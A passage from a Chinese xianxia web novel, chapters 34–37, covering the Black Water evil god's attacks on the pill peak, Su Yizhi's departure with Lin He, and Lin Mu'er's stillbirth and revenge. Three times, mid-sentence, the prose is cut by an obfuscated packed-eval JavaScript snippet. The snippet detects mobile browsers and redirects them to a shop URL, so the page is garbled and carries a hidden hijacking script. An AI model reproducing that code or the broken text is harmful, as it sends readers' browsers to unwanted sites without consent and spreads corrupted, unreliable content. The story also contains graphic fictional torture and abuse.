他们夫妻俩这些年一直四处寻找秦旺的消息,也有隐秘在黑水门活动过,知道黑水门不光有刹魂邪术可以夺人修为与寿命,更有随处可见的邪神庙,许愿极灵,不过之所以被称为邪神,是因为许愿要用寿命作为献祭。 也正因为如此,虽然凡人中也有邪神庙存在,却并未普及开来,没像黑水门那般遍地开花,因为凡人没那么多寿命可供献祭。 秦旭一度怀疑黑水门会不会有飞升之人,因为不是什么人都能被称为神,可以满足别人心愿。 但他们翻遍黑水门地盘,除了随处可见的黑水邪神庙,找不到任何线索。 而如今,这位黑水邪神竟然找上门来了? 34. 第 34 章 “黑水门的邪神?为什么会出现在离火宗,还出现在了丹药峰?”林木儿盯着苏一枝,目光灼灼,她紧赶慢赶,总算赶上了这场好戏。 苏一枝摊手:“夫人都不知道,我就更不知道了。” “废话,我为什么会知道?” “听闻荒芜沼泽毒虫凶兽横行,如今更有黑水门人频繁活动,我自然是不敢去也没有时间去,但据说有人在那里曾见过夫人呢。修真之人怀孕本就脆弱,经不起折腾,宗主若还想夫人安全生产,就劝劝夫人吧。” “你胡说八道些什么?” “夫人身体,我自会注意,倒是你们丹药峰,这个月的丹药要如何上交?”秦炎皱眉,“如此挑衅,黑水门真是欺人太甚。” 林木儿面带委屈:“我的药可快用完了。” “如今只能看看灵植园有多少灵植可收,再传讯青木宗,速速送些药材过来,”秦炎咬牙,“我知你等都气不过,但眼下最重要的是保证丹药的供应。” 待众人离去后,苏一枝找了个借口,钻进寂灭空间,去看那黑水邪神。 上次被伏击,她对敌人一无所知,之后又发生诸多事端,便搁置没再追查,既然是敌人,总归还是会来找她的,她等着便是。 如今敌人果然来了。 而她也有了目标。 黑水邪神,黑水门,黑水神庙。 她坐在神木上,将目光拉远,看到一座又一座黑水神庙,大都只附了些神识在神像上,并无本体。直到目光来到黑水门西北角的老祖殿,苏一枝目光一凛,就是这里了。 远远地,苏一枝已经能感受到那殿里传来的威压,似有上古凶兽潜伏,让人不敢轻易靠近。 她尝试着接近殿门,在依稀见到殿后那道黑影的瞬间,眉心传来一阵剧痛,灵府里掀起惊涛骇浪,她只觉天旋地转,完全控制不了自己神识,靠着最后一丝清明,本能地极力挣脱,终于在被对方彻底压制前,撤回空间。 冷汗从额头滴落,后背湿了一片。 苏一枝呆坐在神木顶,过了好一会,确定那人没有追过来,才出了空间,迎面遇上祝从容。 “咦,你不是说要去灵植园?这么快回来了?怎么脸色这么难看?” “身体忽然有点不舒服,还没去呢。” “连声音都这么虚弱,不对,你坐下,让我摸下脉。” “师伯,我医术比你好。”苏一枝无力抽出手,“就是一想到那么多药材被毁,有些急火攻心,等我缓缓就好了。” “事情已经发生了,看开点吧,他们那些等着药的,比我们还急呢。我来正是要跟你说,等新药材到了,哪些药是最先要炼的,哪些可以等等。你看啊……” 苏一枝看着面前祝从容嘴唇张张合合,思绪却渐渐飘远。 她在想,自己不可能平白无故就招惹到了黑水邪神这样的人,肯定是林木儿搞的鬼。 但问题是,那邪神究竟想做什么? 自己远不是邪神对手,哪怕只是个分身,上次也是有林河相助,自己才侥幸能赢,如果真身出现,自己绝无可能逃脱。 邪神明知这一点,为什么不直接来找她,反而像恶作剧一样,毁了药材,又留下那句话? 难道? 苏一枝灵光一闪,难道说,是想要逼自己离开丹药峰,离开离火宗? 仿佛是为了印证苏一枝的想法,当天夜里,丹药峰就再次遇袭。 不同于白天只是药材库被毁,这次不光新到的药材被毁,还死了三名弟子。 祝从容痛哭流涕。 “又是丹药峰?”秦炎皱眉,最近丹药峰出事的频率也太高了些。 不光他这样想,离火宗所有人都这样想。 大半夜的,离心殿站满了各峰长老和精英弟子,就连一向醉心剑道不问俗事的剑峰许长老也在其中,忿忿开口: “我们都知道宗主因为那苏一枝丹药技术了得,又有玄天鼎,惜才心切,但再好的丹药,若不能及时供应,又有何用?” 许长老很愤怒,这届新弟子中,有个剑道天赋不错却心性不坚的,本来他准备放在新人中历练两年再收入门下,结果那孩子不知怎么的,被丹药峰的人给忽悠了去学丹药,学丹药就学丹药呗,只要天赋在剑道,早晚都会回归,可没想到…… 秦钟冷哼一声:“我本不想说话,免得以为我是为了私人恩怨。但现在事情越闹越大,整个宗门都受影响。秦炎,你真的还要留那妖女在丹药峰吗?” “听说那苏一枝十年前就有克父克夫的名声,你们忘了吗?当年她在的时候,离火宗也不太平,秦老宗主就是那时候出的事。”说话的是刑法堂堂主松柏。 “可是我上次去,那个师姐人很好啊。”松仁不满自己祖父对苏一枝的评价。 秦无忌悄悄扯了扯他的袖子,示意他闭嘴,他们之前断胳膊断腿的事,师父可并不知道。 “请宗主将苏一枝逐出离火宗!”众人异口同声,震耳欲聋。 声音传到丹药峰,苏一枝开始收拾东西。 “做什么?宗主又没说要赶你走!”祝从容着急。 他是真的急,都顾不上为那几个新弟子伤心了,苏一枝要是再走,这丹药峰可就真没人干活了。 “宗主是什么样的人,你应该比我了解。”苏一枝没有选择说实话,她一边将自己东西往储物袋里扔,一边说,“他向来以宗门利益最大化为行事标准,如今这种情况下,他即使想留我,也留不得了。当然,如果有足够的药材,他还是会力排众议的。但是,有吗?” “你走了,我怎么办?” “这话说得,师伯你才是丹药峰的主心骨。不过依我说,你也别自己硬撑,去把二师伯弄出来,让他别闭关了。我把紫魄留下,炼药比别的炉快些。只要二师伯肯出关,这个坎,丹药峰还是能过去的。” 苏一枝就这样离开了丹药峰。 回到属于自己的洞府,摸了摸三尾灵豹,又召回团团,抱着它打了好几个滚,这才静坐下来,仔细回想昨天夜里发生的一切。 她意识到有人在窥视自己的时候,立刻外放元神,结果那道神识躲得飞快,苏一枝刚继续追踪,立马感觉到隐隐有威压来临。 为了更好更快观察,也为了规避可能存在的危险,她立刻遁入空间,去看四周。 结果就这么短的时间内,药材被毁,三名弟子被杀。 而苏一枝在空间里看到了两道身影,一道是上次的黑衣人,速度极快,只看到了个影子,应该就是黑水邪神。 另一个,是鱼跃,被苏一枝发现后立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137270|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲开的就是他。 苏一枝其实有点后悔,她想,要是自己没躲进空间,而是选择了直接面对,那三名弟子是不是就不会死。 虽然有朝一日,所有人都是要死的,但…… 至少不是现在,因为受她牵连而死。 苏一枝发现自己似乎对丹药峰的人慢慢有了些感情,这不是好的现象,她都不敢想象,继续这样下去,将来有一天,真的杀死所有男人时,她得有多难过。 所有男人,包括林河,包括祝从容,也包括丹药峰所有奉她若神明的弟子。 就算到了最后,所有人都会死,也没必要现在就因为她而死,更没必要让喜欢她的人先于她的仇人而死。 目前来看,她最可怕的对手是这个忽然冒出来的黑水邪神,好在他只是想逼自己离开丹药峰,既然如此,那就离开好了。 虽然她也不明白为什么上次邪神还一副要杀她的样子,现在就只想让她离开。 难道是离开更方便动手? 不像。 算了,管他是什么,反正洞府一时半会儿也不会被发现,即使发现,寂灭空间也能顶一段时间,事已至此,先提升修为再说吧。 灵女给的期限所剩不多,自己却依然没有得到提示,想来是修炼速度不够快的缘故。 习惯了丹药峰的忙忙碌碌,一下子闲下来,苏一枝很不适应。 她又不像别人,随时随地都可以修炼,她在外面根本无法吸收灵气,每日能修炼的时间只有进秘境的两个时辰,现在还不敢随意用完,生怕遇到邪神时无处躲避。 这让她修炼起来就很不尽兴,不由又对那黑水邪神咬牙切齿起来,明明一切都很顺利,怎么就冒出了这么个玩意。 黑水邪神不知道自己正在被苏一枝咬牙切齿,他看着跪在老祖殿里的鱼跃,威压散发出去,鱼跃的肩又塌了几分,双膝渗出血来。 “知错了吗?” “想了三日,依旧未明,请老祖明示。”鱼跃梗着脖子,承受那道威压,努力挺直脊背。 “你为何去离火宗附近?” “好奇,去看一个人。” “苏一枝?你是如何知道她的?” “听朋友提起。” “你朋友是向我许愿的人。” “……是。” “知道错在哪里了吗?” “我错了。我不该打听和干涉任何有关老祖的事。” “下去吧。” “是。”鱼跃微微皱眉,准备起身离开。 “我记得你身边,有个叫鱼福的?”邪神忽然问。 鱼跃停下动作:“是有这么个人,怎么了?” “没怎么,只是觉得好久没见到他了,听说前些日子,你把他吊了一夜?因为什么?” “真是什么都瞒不过老祖,不过是手下人犯了错,略施惩戒罢了。” “对手底下人好些,他们才能忠心。” “谢老祖指点。” 离开老祖殿,被冷风一吹,鱼跃才发觉自己全身都已湿透。 肩胛脊背,腰椎膝盖,无一不痛,他却并不想用治疗术消除那疼痛。 真是够了,这看人眼色的日子。 他回到自己住处,对门口守着的弟子说:“叫鱼福过来。” 35. 第 35 章 不一会,鱼福来了。 “门主,您叫我?” “鱼福,我对你如何?” “门主对小的自然是极好的。” “可比不上邪神,是么?” 鱼福猛地抬头:“门主?” “我给过你机会。”鱼跃走上前,冰冷的手捉住鱼福微胖的手腕,“我很少给别人机会,你知道的。” “门主饶命!”鱼福想跪,却被鱼跃托起。 他还想再说什么,然而刚张了张嘴,人就忽然瘪了下去。 鱼跃松开手,一张人皮软软落到地上,而鱼跃的眉眼,似是又年轻鲜艳了几分。 他红着眼,语气似梦魇:“大哥,你看到了吗?我现在真的,一个可用的人都没有。” “谁?”他忽然飞窜至窗口,“谁在偷看?” “呸呸呸!” 苏一枝呸了一口,只觉得晦气。 她好不容易浪费寂灭空间里的时间去看鱼跃,想看能不能侧面得到些黑水邪神的信息,结果信息没得到,倒恰好看到他吸食了一个人。 真恶心。 不过他说的大哥是谁? 黑水门骨肉相残严重,难道这鱼跃竟还念着手足之情? 腰间传讯符轻微震动,苏一枝展开去看,发现是孙喜男。 孙喜男说,林河回到青木宗后,遭遇林潭林柯父子带人围困,欲置他于死地。 林河打伤二人,前往离火宗,大概是想找苏一枝,结果被离火宗的人控制住,估计很快就会被转交回青木宗。 而她因为上次离开青木宗太久,被赵延又加了一道禁制,无法再离开他身边超过50里,所以不能前去离火宗打探,听说苏一枝已经离开离火宗丹药峰,很为两人担心。 孙喜男还说,总觉得林河最近像变了一个人,话变多了不说,行事也变得毫无顾忌,他是不是受了什么刺激? 苏一枝这才想起,她跟林河,彼此都忘了给对方留传讯符。 初相识时,林河只是个孩子。 之后她们也曾彼此寻找,林河更是找了她十年,可再次相见,当年的小孩变成翩翩少年。 他们好像陷入了一种奇怪的感觉,既熟稔,又陌生。 这种转变,苏一枝还需要时间去适应。 她给孙喜男回信: 无需担心,我很好,林河也会很好。他的状态许是压抑太久突然放松所致,也许过段时间会稍稍恢复,也许不会再改变。只要他开心,这些都无妨。待他回青木宗,告诉他,我在他上次看到有人渡劫的地方。若他不想继续呆在青木宗,可来找我。 三天后,灵豹在青山脚下接到了林河,将他带回洞府。 林河看着苏一枝,看着团团,看着三尾灵豹和周围的一切,眼睛忽然就湿了。 苏一枝已经彻底恢复了自己的本来相貌,也换上了一身白衣。 她站在那里,衣袂飘飘,宛若神明。 “你打伤了林潭父子,在青木宗必然举步维艰。听说林渊还一直在利用你去帮他争那宗主之位,若是真争到,将来恐怕也容不下你。总之不管林潭林渊谁做宗主,你以后在青木宗处境都不太妙,所以才问你愿不愿意来我这里。” “我当然愿意。”林河红着眼睛,“只是觉得有些不真切,这一幕,像是梦里出现了千遍万遍,以至于我现在怀疑自己是在梦中。” “这里地方大,再住几个人都绰绰有余。你要是觉得跟我生活在一起不方便,可以在旁边另外开辟洞府。整片青山就这个峰位置最好,去沼泽也方便。不过,沼泽里除了毒物,还有尸鬼,以及上古遗留下来如今已经心智完全退化的妖兽。以后出入,还是要小心些,不是百毒不侵就不用担心的。” 林河没有回答,他极力忍住眼角的湿润和喉头的酸涩,点头表示自己知道了。 这眼睛真的很不争气,最近总是莫名其妙就变湿。 他想起这次事件的起因,是林潭和林柯依旧想置他于死地,而他既不想死,也不想继续被关,一怒之下,就将两人打伤,这一幕偏偏被出来找他的林森看到了。 8岁的林森虽然体弱多病,脑子却转得很快,以至于林河有时候怀疑他是用脑过度才导致身体不好。 林森:“哥,你会杀我吗?” 林河莫名其妙:“我为什么要杀你?” “因为我看到你打伤了大伯和堂兄。” “那又如何?我也没准备否认。” “他们不会罢休。而且,我知道你其实不是我哥,父亲对你也不好。你不要因为父亲而想要杀我,我保证,那个什么宗主,就算让我做,我都不会做。” “你知道我不是你哥?”林河笑了,摸了摸他的头,“小孩子,不要想太多,当心不长个。” “林河,你干什么?”余芷有些尖利的声音传过来,透着明显的着急慌乱。 林河看了看自己的手,怎么?他在她眼里,真的会随时杀死林森吗? 自己看起来就那么像杀人狂? 不过打伤了人而已,一个个的,就觉得他好像要大开杀戒了似的。 没有人相信他,也没有一个人愿意站在他这边,尽管他在这个家已经整整呆了11年。 他多么希望,在这世界上,有那么一个人,可以选择跟他站在一起,无论发生任何事情,彼此都不会抛弃。 如果有,他可以为了那个人,与全世界为敌,肝脑涂地,在所不惜。 “对了,怎么没见过你的灵兽?你有灵兽吗?”苏一枝忽然问。 “没有,我不想养灵兽。”林河抬头,眼神已恢复清明,“它们的生命完全依托在主人身上,主人活,它们便活,主人死,它们就得死。主人说不要它便可以不再要它,而它们,却无法选择不要主人。我觉得,它们很可怜。” “那七阶三尾灵豹还没认主,你要吗?” “要。” 林河给三尾灵豹取了个名字叫圆圆,豹子有点不情愿,但也接受了。 接下来他又用三天时间将苏一枝的洞府扩大数倍,直接升级成了洞天。 从外看,半山之中云雾缭绕,红花绿树中隐约有亭台楼阁浮现。不过,一个法阵扔下去,这些亭台楼阁便都消失不见,除非修为高过林河许多,否则断然不会发现这处洞天的存在。 “林河,过来。”苏一枝叫回半空中巡视自己成果的林河。 “怎么?” “手给我。” 苏一枝查看林河灵根,好半天,才问:“你是用了什么方式隐藏的灵根又压制了修为,竟然连我都探不出真假来。” “有种药,服了后灵根摸起来就会改变,修为也是真的会下降。” “那你现在没必要吃了,这种药吃多了会伤身。” “嗯,已经停了,过两日就会恢复。”林河看着自己被苏一枝浅浅握住的手,觉得她似乎一会儿将自己当成大人,有所避嫌,一会儿又以为自己仍是当初那个孩子。 “你若不服药,真实修为应该是?” “元婴期大圆满,本该冲击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151243|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出窍期,可我对外是水木双灵根,修为不该提升这么快,所以才服药压制。” 他没解释自己为什么隐瞒纯粹水灵根之事,但不用他说苏一枝也明白。 几大修真门派,随着土灵灭失,专修土系心法的坤土派已然不复存在,剩下的,青木宗木系,离火宗火系,白金宗金系,黑水门水系。 倒也不是说水灵根就必须去黑水门,但纯粹水灵根,肯定是修水系心法最为快捷,木系其次。林河作为养子,若被人知道是纯粹水灵根,多少会有些顾虑。 若他是亲生的,倒没所谓了,比如他的弟弟林森就是水灵根,谁也不会担心将来有一日林森会跑去黑水门。 可林河不一样。 “如此说来,还算安全。”苏一阵说着松开林河的手,足尖轻点,衣带飘扬中,人已升至半空,“可惜我于阵法一途实在粗浅,否则,世上能破阵入洞天者,仅黑水邪神一人而已。” 林河轻轻抚了抚自己手腕被她触过的地方,抬头看她手指结印,道道光芒打向法阵,随后又掏出两枚玉牌,指尖在玉牌上划了几道,光芒亮起,又熄灭。 苏一枝落地,将玉牌递给林河一枚:“此阵法你我进出自由,但外人,佩戴此牌者方可出入。” “我应该用不到。”林河说,“我不认识什么人,也不会邀请任何人来此地。” “以防万一。”苏一枝将玉牌塞进他手里,“从现在开始,我冲击合体期,你尽快进入出窍期。也许不久的将来,我们就要面临一场风雨。” 苏一枝越来越觉得时间紧迫。 灵女的期限所剩不多,自己必须尽快得到她的提示。 她要是像林河那样是纯粹单灵根就好了,说不定现在已经修得圆满。 如今日日对着林河,她有时不免会想,报完仇后,也要让林河去死吗? 他其实真的很无辜,从出生到现在,20年,基本没体会过什么温暖。 偏他又记性极好,过往一切都历历在目。 有时候糊涂又何尝不是一种幸福。 时间一晃就是半个月,林河已然进入出窍期,时常在练习出窍的时候撞见团团跟圆圆打架,尽管圆圆不是团团对手,他还是会在圆圆回来后揍它一顿。 圆圆很委屈,觉得自己这个主人选错了,远不如之前无主的时候逍遥自在。 一只豹守着无人的洞府,想干啥干啥,山间的鸟啊兽啊,谁不拿它当大王? 抽空的时候还能跟着团团去沼泽里耍耍威风。 所以说啊,它本来跟团团就是好朋友,好朋友打打闹闹很正常,偏这个主人不懂事,要干涉灵兽间的互动。 圆圆去找苏一枝告状。 谁知刚靠近修炼室,就见晴朗的天空突然雷云密布,碗口粗的紫电在云层里游走,山雨欲来。 圆圆正呆望着天空,身子忽然被人一把捞起,它抬眼,就看到自家主人皱着眉头:“不要命了?帮它挡雷劫也轮不到你。” 主人还是心疼自己的,圆圆决定不告状了。 两兽一人远远看着紫雷一道道劈下,害怕的害怕,紧张的紧张。 林河浑然不觉自己衣衫已被冷汗湿透,雷劫一停,立马飞身过去,看到苏一枝好端端坐在那里,才长长松了口气。 他修为没她高,即使想帮,也是有心无力。 这种感觉让人不舒服,却又无可奈何。 苏一枝眼睛依然闭着,却对着林河说了一句话。 她说:“孙喜男被抓了,你去救她。” 36. 第 36 章 尖锐的传讯鸟鸣声响彻离火宗。 青木宗出了大事。 林潭和林柯死了,且死状极惨。 尤其林潭,听说下面那玩意被用剪刀一点一点剪碎,且明显是活着的时候剪的。两人皮肉尽毁,眼耳口舌皆被挖被割,骨头也被一根根敲碎,还被用了一种药,那药能让人修为丧失,无法反抗,但神智却极为清醒,所有痛楚都无比清晰。 众人议论纷纷,开始刚传出两人死讯时,有人甚至怀疑会不会是林渊下的手,毕竟,林渊实力强过林潭许多却一直屈居林潭之下,心有不甘,这是大家都知道的事。 但随着二人凄惨死状暴光,大家又觉得不可能是林渊,再怎么样,他也不至于下这种毒手。 更何况,现在林渊长老震怒万分,下令严查,那必然不可能是他了,不然岂不是贼喊捉贼。 林渊确实很愤怒。 一直以来,他按自己的计划,一步一步,利用林河慢慢削弱林潭一家力量,如今三子已去其二,哪天再去最后一个,到时候再借助除妖什么的,顺理成章让林潭去送死,自己自然而然就能当上宗主。 现在倒好,林潭父子死在了青木宗,无论最后查出凶手是谁,总有人背后会将矛头指向他。 他恐怕也要像自己那个不争气的哥哥一样,永远都被认为得位不正。 最可怕的是,林河还失踪了,万一最后查出来这事真是林河做的或跟他有关,哪怕自己把他千刀万剐,都洗不清嫌疑,还会让人觉得自己可怕,利用完养子就卸磨杀驴。 林渊越想越恨得牙痒痒,他下令将所有接触过林潭父子的人全部抓了起来,其中就包括照顾过二人的孙喜男,还有许萱。 许萱是赵延长老第九任妻子,也是最后一任妻子,今年45岁,刚满18就嫁给赵延,19岁生下双胞胎儿子,深得赵延喜爱。 赵延娶妻九个,打死七个,只有许萱从来没挨过打,可能因为许萱为他生下了他心心念念的儿子,还一生就是两个,也可能是因为许萱长得漂亮,又对赵延言听计从。 且儿子出生后不久,赵延修炼出了岔子,不光修为停滞在金丹期,作为男人的能力也丧失了。从那后他便敛了性子,没有再娶,心中有不满,也只对孙喜男一人发泄。 修为停滞,赵延生怕自己长老位置不保,溜须拍马的本领几乎登峰造极,对林潭的讨好可谓是用尽全力。 此次林潭父子受伤,赵延让自己两个妻子去贴身轮流照顾,没想到竟出了这种乱子。 赵延虽然开始也被抓了去,但他不在场证据充分,青木宗多人皆可做证,所以很快就放了出来。 倒是孙喜男和许萱,二人平日里素来不和,这次却能彼此做证,都可以证明对方无辜,但因没有别的证人,仍一直被关着。 这些消息一个接一个传到离火宗,林木儿急火攻心,顿觉腹痛难忍。 她被侍从弟子搀扶着躺到床上,本打算歇一下就回青木宗,谁知这一痛,竟痛了整整三天三夜。 宗门稳婆得知,直呼糟了,说这是要生了呀。 修真女子生产,比寻常女子更为凶险,灵根越纯粹,情况便越棘手。 离火宗上下紧张万分,至于青木宗那边如何,暂时也管不着了。 整个丹药峰的人都呆在离心大殿随时待命,人人头上都冒出一层薄汗。 梅踪更是进去陪在林木儿身边,亲自盯着几个稳婆。 虽说秦旭早已坚定不要儿女,但她还是想求个更加心安理得。如果林木儿能生个儿子,那她就没有半点心理负担了,不然总担心哪天秦旭突发奇想,想要给秦家留个后代。 整整十个时辰过去,孩子终于生了出来。 一向艳丽雍容的林木儿发丝凌乱粘在脸上,双目无神,整个人随时都要昏死过去,她看向稳婆。 稳婆的手都抖了,根本不敢与林木儿对视,转而去看梅踪。 饶是梅踪年纪较大又走南闯北多年,见惯了世面,此时也呆在那里,不知如何是好。 林木儿察觉出不对,强撑着抬起身,去看稳婆手里的胎儿,这一看,顿尖叫一声,彻底昏了过去。 林木儿生了一对龙凤胎。 死胎。 紧张的氛围被蒙上了层灰惨惨的死气,稳婆被人带下去,秦炎闭上眼睛,平静下来后,才抬脚跨入室内。 林木儿身上已经被用了净尘诀,盖着红色丝绸面薄被,因附了护体的灵力,上面隐隐有光华流动。 那红色此时看起来极为刺目。 周围也被清理得很干净,祝从容刚给林木儿用完药,缩着手站在角落。 林木儿睁开眼,看着秦炎,一字一句:“我要杀了苏一枝。” “先养好身体。”秦炎坐在床边,握着她的手,“身体最为要紧,别的任何事,都等身体养好后再说。” “我说,我要杀了苏一枝。”林木儿抽出手,泪珠从眼角滑落:“事到如今,你还是不同意我杀她是吗?” 角落里的祝从容动了动嘴,想说什么,终究忍住了,什么也没说,继续低头站着。 倒是梅踪开口劝道:“我知道你跟苏一枝过去有些恩怨,但也不能证明这事就跟她有关。你还是先放下这些,什么都不要想,秦炎说得对,一切都等养好身体再说。” 她心里想的是,若真是苏一枝所为,只能说早年做的孽迟早要还的,但有一件事秦炎还不知道,方才祝从容嗫嚅着说,林木儿以后再想要孩子,只怕很难了。 本来就很难,单灵根,还是木灵根,也不知为什么非要冒着九死一生的危险生孩子。 梅踪想着想着便叹了口气,如果真的以后都不能生,也不知秦炎会不会打破规矩另娶,又或者,自己的夫君秦旭会不会动摇。若真的动摇,到时候,自己便放他自由吧。 三天后,林木儿勉强能起身,她定住秦炎安排的侍从弟子,来到青木宗,找到了林桐桐。 父兄惨死的仇肯定要报,但眼下,她先得做另外一件事。 她带着林桐桐来到沼泽,用幻境符困住林桐桐,问鱼跃能不能给自己一些传讯符,或者给自己一尊邪神像。 得到否定答复后,林木儿叹了口气,用50年寿命,换取了苏一枝藏身的具体位置。 可是到了那里,林木儿发现自己根本找不到那所谓的洞天。 邪神没必要在这种小事上敷衍她,既收了献祭,给的信息必然是准的。 那只有一个可能,洞天被阵法隐藏,自己修为太低看不到,找苏一枝算账这件事,看来真的急不得。 林木儿眼神已经快结出冰来,她看向林桐桐:“有一件事,必须你去做。” 林潭的身亡,让林木儿顿时失去了娘家的支撑。 她想起之前曾经跟秦炎说过,自己作为青木宗宗主之女这件事,永远都不会变。 原来这世上没有什么东西是永远的。 如今青木宗落到了林渊手里,在别人看来,那是她叔叔,她的身份依然尊贵。 可只有林木儿自己知道,没了父亲,没了宗主女儿这个身份,自己什么都不是。 宗主这个位子,一旦失去,再想夺回来就难了。 她父亲一辈子娶妻无数,生女无数,儿子却只有三个,总不能自己来当宗主。 但,如果真逼到那一步,倒也不是完全不可能。 不过眼下重要的是弄清楚父亲和弟弟死因,为他们报仇。 可惜,听说那孙喜男和许萱两个油盐不进,仿佛封了五窍般,任那些拷打的人使出各种手段,两人都无动于衷。 想到这里,林木儿又开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162588|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得腹痛。 她最近总是一动气肚子就痛,就像那两个孩子仍在肚里一般。 平复了一会呼吸,林木儿决定先去找赵延,从他身上下手,应该容易许多。虽然她很讨厌赵延,但此时也顾不上那么多了。 林木儿一向恶心没有真才实学的人,虽然她很多时候都需要这样的人。 在她看来,赵延都70多了,却仍是个金丹期,靠着拍马屁当了这么多年长老已经足够厚脸皮,更让人恶心的是,他曾亲自将亲生女儿送到她父亲林潭的床上。 而他的女儿,甚至比她还小了三岁。 林木儿到现在都还记得,当初把苏一枝扔进地坑后,自己不知怎么的,总是心情烦躁,一腔怒火无处发泄,就悉数洒到了总是讨好她的林桐桐身上。 她说过,最讨厌自身能力不行又总靠拉关系上位的人,林桐桐也是其中之一。 不久,林桐桐带了个朋友过来,叫赵果儿,17岁多一点,是长老赵延和孙喜男的女儿,平日里没什么存在感,林木儿甚至都没怎么见过她。 赵果儿怯生生的样子,圆圆的脸,大大的眼睛,看人总是一脸惶恐,一被吓,眼睛就睁得更圆了,很是好玩,让人忍不住总想吓她一下。 她们就每天吓赵果儿玩,看她因害怕而变得更圆的眼睛,心情莫名就会好上许多。 林木儿不担心这样做会有什么不好的后果。 赵延她太了解了,巴结自己父亲还来不及,怎么因为女儿会跟自己生气,他只宠爱双胞胎儿子,根本不把任何女儿放在眼里。 至于孙喜男…… 所有人都知道,赵延还在世的妻子就两位,一个是发妻孙喜男,一个是九妻许萱。 许萱因为生了两个儿子很受宠,孙喜男不一样,虽有也有金丹期修为,但年龄与赵延相仿,人又老实,不苟言笑,平日里赵延对她非打即骂,基本将她当下人看待。 这样的妈妈,自身尚且难保,又能护得住女儿什么呢? 她起名叫果儿,生来不就是给别人当开心果的么? 就这样拿赵果儿当开心果半年左右,有次她们可能逗得狠了点,赵果儿哭着逃跑了,半路遇到了林潭。 许是那哭红的双眼和慌张的模样以及不整的衣衫引起了林潭的兴趣,他问了父母名字后,转头就向赵延求娶。 而赵延,二话没说,直接将赵果儿送上了门。 林木儿觉得恶心,极度恶心。 虽然父亲娶过无数女人,那育仙苑里冤魂无数,可比她年纪还小的,这是第一个。 赵果儿,应该将将够18岁吧。 她觉得赵果儿但凡要点脸,就该以死抗拒,可赵果儿没有,柔柔弱弱委委屈屈就嫁了过来。 依旧是那幅受惊的兔子模样。 林木儿牙也痒,手也痒,她恨不得剥其皮抽其筋挫其骨,可偏偏还要等父亲新鲜感过去。 没多久,父亲大概是腻了,去育仙苑的次数越来越少,林木儿开始成为妻庄的常客。 她将自己能想到的所有手段都用在了赵果儿身上,没想到那柔弱得跟小兔子一样的女孩居然还很能撑,足足挺了差不多一年,才终于咽了气。 期间孙喜男很多次来育仙苑,想要看望女儿,都被赵延连打带骂弄走了,骂她扫兴,骂她耽误自己和女儿前程。 林木儿想到这里,忽然冒了一身冷汗。 其实根本不用审问,事情已经很明显了,父亲就是孙喜男杀的,为了给女儿报仇。 她甚至等不及赵延到来,叫门口的小药童:“扶我去地牢,我要见孙喜男。” 药童睁大眼睛:“可是昨天夜里,孙喜男和许萱都不见了。” 林木儿再也承受不住一轮又一轮打击,只觉腹中剧痛,两腿一软,浑身无力,瘫倒在地。 37. 第 37 章 林木儿简直要疯了,不复以往镇定,对着匆忙赶来的赵延一顿输出。 “你是有病吗?让你老婆去伺候宗主?你就算想把人送宗主床上,也该送个年轻的,送你女儿啊,又不是没送过。不是还有很多女儿吗?为什么不送女儿,要送老婆?” 赵延冷汗淋漓,天知道他根本没有将人送上宗主床的想法,不过是因为孙喜男为人比较踏实细致,会照顾人,许萱又是个懂人心思的,所以才让她们两个去照顾宗主父子,谁能想到会出这样的事啊。 他弯着腰,顾不得擦满脑门的汗,只连连抱拳说:“小人绝对没有这样的心思。” “你没有这样的心思,那当初的赵果儿是什么?” “这……” “我不管你怎么想,三天内,把孙喜男送到我面前来,不然你的儿子孙子全都别要了。” 赵延再次抱拳,腰几乎弯到了地上。 他恨不得能跪在地上抱着林木儿的腿求她不要对自己儿孙动手,可又知道林木儿不喜欢这样,只得将腰压得再低些,说:“三日内,赵延必定将孙喜男那贱妇送到小姐面前。只是,请求小姐让轻舟乘风与我同去,我愿将双儿依依希来都交到小姐手上,若三日后没回来,孩子任凭小姐处置。” 林木儿同意了。 赵延的双胞胎儿子赵轻舟赵乘风今年已经26岁,赵轻舟育有一子一女,女儿赵双儿,6岁,儿子赵希来,4岁,赵乘风只有一女,赵依依,5岁。 不知为什么,虽然不喜欢女儿,也记不清自己究竟有几个女儿,但赵延对两个孙女,却是极喜爱的。 为了保证孙子孙女的安全,他发誓一定要找到孙喜男,救出许萱。 他知道许萱一定是被孙喜男威胁了,前段时间两人被关时他就很想去弄个明白,无奈自己也是个刚洗脱嫌疑的人,根本不被允许与两人相见。 孙喜男一直有二心,也不是没对自己下过手,没完全得逞而已。 要不是她,自己的修为能停留在金丹期? 能再无法与许萱温存? 